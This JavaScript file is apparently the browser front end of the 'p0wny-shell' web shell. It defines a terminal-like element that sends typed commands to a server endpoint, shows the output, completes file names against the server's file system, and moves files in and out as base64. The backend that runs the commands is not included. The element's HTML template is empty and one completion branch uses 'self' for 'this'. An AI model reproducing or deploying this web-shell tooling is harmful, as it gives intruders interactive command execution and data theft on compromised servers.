class P0wnyShell extends HTMLElement {
cwd = null;
commandHistory = [];
historyPosition = 0;
userName = 'p0wny';
hostName = 'shell';
backend = '';
eRoot = null;
eShellCmdInput = null;
eShellContent = null;
eShellPrompt = null;
/**
* Constructor
*
* Creates the shadow root and attaches the event listeners
*/
constructor() {
super();
// get the base path of the current script
const base = document.currentScript.src.substring(0,document.currentScript.src.lastIndexOf('/')+1);
this.eRoot = this.attachShadow({mode: 'open'});
this.eRoot.innerHTML = `
`;
this.eShellCmdInput = this.eRoot.querySelector('#shell-cmd');
this.eShellContent = this.eRoot.querySelector('#shell-content');
this.eShellPrompt = this.eRoot.querySelector('#shell-prompt');
this.eShellCmdInput.addEventListener('keydown', this.onShellCmdKeyDown.bind(this));
// click into the shell to focus the input (unless selecting)
this.eRoot.addEventListener('click', function (event) {
const selection = window.getSelection();
if (!selection.toString()) {
this.eShellCmdInput.focus();
}
}.bind(this));
}
/**
* Called when the shadow DOM has been attached to the element
*/
connectedCallback() {
this.userName = this.getAttribute('username') || this.userName;
this.hostName = this.getAttribute('hostname') || this.hostName;
this.backend = this.getAttribute('backend') || this.backend;
this.cwd = this.getAttribute('cwd');
this.updateCwd(this.cwd);
this.eShellCmdInput.focus();
// fetch real username and hostname from backend
this.makeRequest('?feature=userhost', {cwd: this.cwd}, function (response) {
this.userName = response.username ? atob(response.username) : this.userName;
this.hostName = response.hostname ? atob(response.hostname) : this.hostName;
this.updateCwd(atob(response.cwd));
}.bind(this));
}
/**
* Add a new command to the shown shell
*
* @param {string} command
*/
insertCommand(command) {
this.eShellContent.innerHTML += "\n\n";
const promptSpan = document.createElement('span');
promptSpan.classList.add('shell-prompt');
this.updatePrompt(this.cwd, promptSpan);
this.eShellContent.appendChild(promptSpan);
const commandSpan = document.createElement('span');
commandSpan.textContent = command;
this.eShellContent.appendChild(commandSpan);
this.eShellContent.innerHTML += "\n";
this.eShellContent.scrollTop = this.eShellContent.scrollHeight;
}
/**
* Add command output to the shown shell
*
* @param {string} stdout
*/
insertStdout(stdout) {
const textElem = document.createTextNode(stdout);
this.eShellContent.appendChild(textElem);
this.eShellContent.scrollTop = this.eShellContent.scrollHeight;
}
/**
* Simple method to decouple a given callback from the main thread
*
* @param {function} callback
*/
defer(callback) {
setTimeout(callback, 0);
}
/**
* Handle an entered shell command
*
* Commands may be executed directly or passed to the backend
*
* @param command
*/
featureShell(command) {
this.insertCommand(command);
if (/^\s*upload\s+\S+\s*$/.test(command)) {
// pass to upload feature
this.featureUpload(command.match(/^\s*upload\s+(\S+)\s*$/)[1]);
} else if (/^\s*clear\s*$/.test(command)) {
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
this.eShellContent.innerHTML = '';
} else {
// send to backend
this.makeRequest("?feature=shell", {cmd: command, cwd: this.cwd}, function (response) {
if (response.hasOwnProperty('file')) {
this.featureDownload(atob(response.name), response.file)
} else {
this.insertStdout(atob(response.stdout));
this.updateCwd(atob(response.cwd));
}
}.bind(this));
}
}
/**
* Handle tab auto completion
*/
featureHint() {
if (this.eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
const currentCmd = this.eShellCmdInput.value.split(" ");
const type = (currentCmd.length === 1) ? "cmd" : "file";
const fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
this.makeRequest(
"?feature=hint",
{
filename: fileName,
cwd: this.cwd,
type: type
},
function (data) {
if (data.files.length <= 1) return; // no completion
data.files = data.files.map(function (file) {
return atob(file);
});
if (data.files.length === 2) {
if (type === 'cmd') {
self.eShellCmdInput.value = data.files[0];
} else {
const currentValue = this.eShellCmdInput.value;
this.eShellCmdInput.value = currentValue.replace(/(\S*)$/, data.files[0]);
}
} else {
this.insertCommand(this.eShellCmdInput.value);
this.insertStdout(data.files.join("\n"));
}
}.bind(this)
);
}
/**
* Make the browser download a file using a data URI
*
* @param {string} name Name of the file to download
* @param {string} file Base64 encoded file content
*/
featureDownload(name, file) {
const element = document.createElement('a');
element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
element.setAttribute('download', name);
element.style.display = 'none';
this.eRoot.appendChild(element);
element.click();
this.eRoot.removeChild(element);
this.insertStdout('Done.');
}
/**
* Upload a file to the server
*
* @todo use await/async
* @param {string} path Path to upload the file to (relative to current working directory)
*/
featureUpload(path) {
const element = document.createElement('input');
element.setAttribute('type', 'file');
element.style.display = 'none';
document.body.appendChild(element);
element.addEventListener('change', function () {
const promise = this.getBase64(element.files[0]);
promise.then(
function (file) {
this.makeRequest(
'?feature=upload',
{path: path, file: file, cwd: this.cwd},
function (response) {
this.insertStdout(atob(response.stdout));
this.updateCwd(atob(response.cwd));
}.bind(this)
);
}.bind(this),
function () {
this.insertStdout('An unknown client-side error occurred.');
}.bind(this)
);
}.bind(this));
element.click();
document.body.removeChild(element);
}
/**
* Get the base64 representation of a file
*
* @todo make async instead of promise
* @param file
* @returns {Promise}
*/
getBase64(file) {
return new Promise(function (resolve, reject) {
const reader = new FileReader();
reader.onload = function () {
resolve(reader.result.match(/base64,(.*)$/)[1]);
};
reader.onerror = reject;
reader.readAsDataURL(file);
});
}
/**
* Update the current working directory
*
* @param {string|null} cwd
*/
updateCwd(cwd = null) {
if (cwd) {
this.cwd = cwd;
this.updatePrompt();
return;
}
this.makeRequest("?feature=pwd", {}, function (response) {
this.cwd = atob(response.cwd);
this.updatePrompt();
}.bind(this));
}
/**
* Update the prompt
*
* @param {string|null} cwd The current working directory, defaults to current one
* @param {HTMLElement|null} element The element holding the prompt, defaults to input prompt
*/
updatePrompt(cwd = null, element = null) {
cwd = cwd || this.cwd || "~";
element = element || this.eShellPrompt;
// create a short version of the current working directory
let shortCwd = cwd;
if (cwd.split("/").length > 3) {
const splittedCwd = cwd.split("/");
shortCwd = "…/" + splittedCwd[splittedCwd.length - 2] + "/" + splittedCwd[splittedCwd.length - 1];
}
// create the prompt elements
const userText = document.createTextNode(this.userName + "@" + this.hostName + ":");
const cwdSpan = document.createElement("span");
cwdSpan.title = cwd;
cwdSpan.textContent = shortCwd;
const promptText = document.createTextNode("# ");
// clear the prompt and add the elements
element.innerHTML = '';
element.appendChild(userText);
element.appendChild(cwdSpan);
element.appendChild(promptText);
}
/**
* Handle keydown event on shell command input
*
* @param {KeyboardEvent} event
*/
onShellCmdKeyDown(event) {
switch (event.key) {
case "Enter":
this.featureShell(this.eShellCmdInput.value);
this.insertToHistory(this.eShellCmdInput.value);
this.eShellCmdInput.value = "";
break;
case "ArrowUp":
if (this.historyPosition > 0) {
this.historyPosition--;
this.eShellCmdInput.blur();
this.eShellCmdInput.value = this.commandHistory[this.historyPosition];
this.defer(function () {
this.eShellCmdInput.focus();
}.bind(this));
}
break;
case "ArrowDown":
if (this.historyPosition >= this.commandHistory.length) {
break;
}
this.historyPosition++;
if (this.historyPosition === this.commandHistory.length) {
this.eShellCmdInput.value = "";
} else {
this.eShellCmdInput.blur();
this.eShellCmdInput.focus();
this.eShellCmdInput.value = this.commandHistory[this.historyPosition];
}
break;
case 'Tab':
event.preventDefault();
this.featureHint();
break;
}
}
/**
* Insert command to history
*
* @param {string} cmd
*/
insertToHistory(cmd) {
this.commandHistory.push(cmd);
this.historyPosition = this.commandHistory.length;
}
/**
* Send a request to the backend
*
* @todo use fetch instead of XMLHttpRequest
* @param {string} url base url
* @param {object} params An object containing the parameters to send
* @param {function} callback A callback function to call when the request is done
*/
makeRequest(url, params, callback) {
function getQueryString() {
const a = [];
for (const key in params) {
if (params.hasOwnProperty(key)) {
a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
}
}
return a.join("&");
}
const xhr = new XMLHttpRequest();
xhr.open("POST", this.backend + url, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
const responseJson = JSON.parse(xhr.responseText);
callback(responseJson);
} catch (error) {
alert("Error while parsing response: " + error);
}
}
};
xhr.send(getQueryString());
}
}
window.customElements.define('p0wny-shell', P0wnyShell);